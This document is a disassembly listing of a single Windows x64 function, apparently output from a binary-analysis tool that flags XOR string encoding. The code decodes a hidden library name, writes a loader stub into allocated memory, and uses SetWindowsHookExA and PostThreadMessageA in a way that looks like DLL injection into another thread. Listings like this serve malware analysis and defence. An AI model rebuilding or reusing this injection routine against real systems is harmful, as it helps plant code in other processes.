Function at 0x1400033a0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x50
mov r12, rdx
mov r13d, ecx
mov ecx, WSAGetLastError
xor edx, edx
call fcn.1400012c0
lea ecx, [rdx + 0x74]
mov word [rbp - 0x30], ax
lea edx, [rcx - 0x73]
call fcn.1400012c0
lea r8d, [rcx - 0x10]
mov word [rbp - 0x2e], ax
mov ecx, r8d
lea edx, [r8 - 0x62]
call fcn.1400012c0
lea r9d, [r8 + 8]
mov word [rbp - 0x2c], ax
mov ecx, r9d
lea edx, [r8 - 0x61]
call fcn.1400012c0
lea edi, [rdx + 1]
mov word [rbp - 0x2a], ax
mov edx, edi
call fcn.1400012c0
lea ecx, [rdi + 0x2a]
mov word [rbp - 0x28], ax
lea edx, [rdi + 1]
call fcn.1400012c0
mov ecx, r8d
mov word [rbp - 0x26], ax
lea edx, [rdi + 2]
call fcn.1400012c0
mov ecx, r9d
mov word [rbp - 0x24], ax
lea edx, [rdi + 3]
call fcn.1400012c0
lea edx, [rdi + 4]
mov word [rbp - 0x22], ax
call fcn.1400012c0
xor ecx, ecx
mov word [rbp - 0x20], ax
lea edx, [rdi + 5]
call fcn.1400012c0
movzx ecx, word [0x140065304]
lea edx, [rdi + 6]
mov word [rbp - 0x1e], ax
call fcn.1400012c0
movzx ecx, word [0x140065306]
lea edx, [rdi + 7]
mov word [rbp - 0x1c], ax
call fcn.1400012c0
movzx ecx, word [str.__get_sid]
lea edx, [rdi + 8]
mov word [rbp - 0x1a], ax
call fcn.1400012c0
movzx ecx, word [0x14006530a]
lea edx, [rdi + 9]
mov word [rbp - 0x18], ax
call fcn.1400012c0
movzx ecx, word [0x14006530c]
lea edx, [rdi + 0xa]
mov word [rbp - 0x16], ax
call fcn.1400012c0
movzx ecx, word [0x14006530e]
lea edx, [rdi + 0xb]
mov word [rbp - 0x14], ax
call fcn.1400012c0
movzx ecx, word [0x140065310]
lea edx, [rdi + 0xc]
mov word [rbp - 0x12], ax
call fcn.1400012c0
movzx ecx, word [0x140065312]
lea edx, [rdi + 0xd]
mov word [rbp - 0x10], ax
call fcn.1400012c0
movzx ecx, word [0x140065314]
lea edx, [rdi + 0xe]
mov word [rbp - 0xe], ax
call fcn.1400012c0
mov word [rbp - 0xc], ax
xor eax, eax
mov word [rbp - 0xa], ax
xor r9d, r9d
mov edx, r9d
movsxd rcx, edx
mov eax, 0x133
add eax, edx
inc edx
xor word [rbp + rcx*2 - 0x30], ax
cmp edx, 0x13
jb 0x140003518
lea rcx, [rbp - 0x30]
mov word [rbp - 0xa], r9w
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
call fcn.14000332c
mov edx, 0x1000
mov rcx, rax
call fcn.1400013d0
mov r9d, edi
mov edx, 0xc8
xor ecx, ecx
mov r8d, 0x3000
mov r14, rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movaps xmm0, xmmword [0x14009be00]
lea r15, [r14 + 0x60]
mov rdi, rax
mov r8, r12
mov edx, 0x50
movups xmmword [rax], xmm0
lea rsi, [rax + 0x60]
movaps xmm1, xmmword [0x14009be10]
lea rcx, [rsi + 0x18]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x14009be20]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x14009be30]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x14009be40]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x14009be50]
movups xmmword [rax + 0x50], xmm1
mov qword [rax + 6], r15
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsi + 8], rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
call fcn.14000332c
mov r9d, 0xc8
mov r8, rdi
mov rdx, r14
mov rcx, rax
call fcn.14000136c
mov r9d, r13d
mov r8, rbx
mov rdx, r14
mov ecx, 3
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
mov r12, rax
jmp 0x14000363f
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, r13d
call qword [sym.imp.USER32.dll_PostThreadMessageA]
call fcn.14000332c
mov r9d, 0x68
mov r8, rsi
mov rdx, r15
mov rcx, rax
call fcn.14000130c
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rsi], 2
jne 0x14000360a
mov rbx, qword [rsi + 0x10]
mov rcx, r12
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
call fcn.14000332c
mov rdx, r14
mov rcx, rax
call fcn.140001438
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea r11, [rsp + 0x50]
mov rax, rbx
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret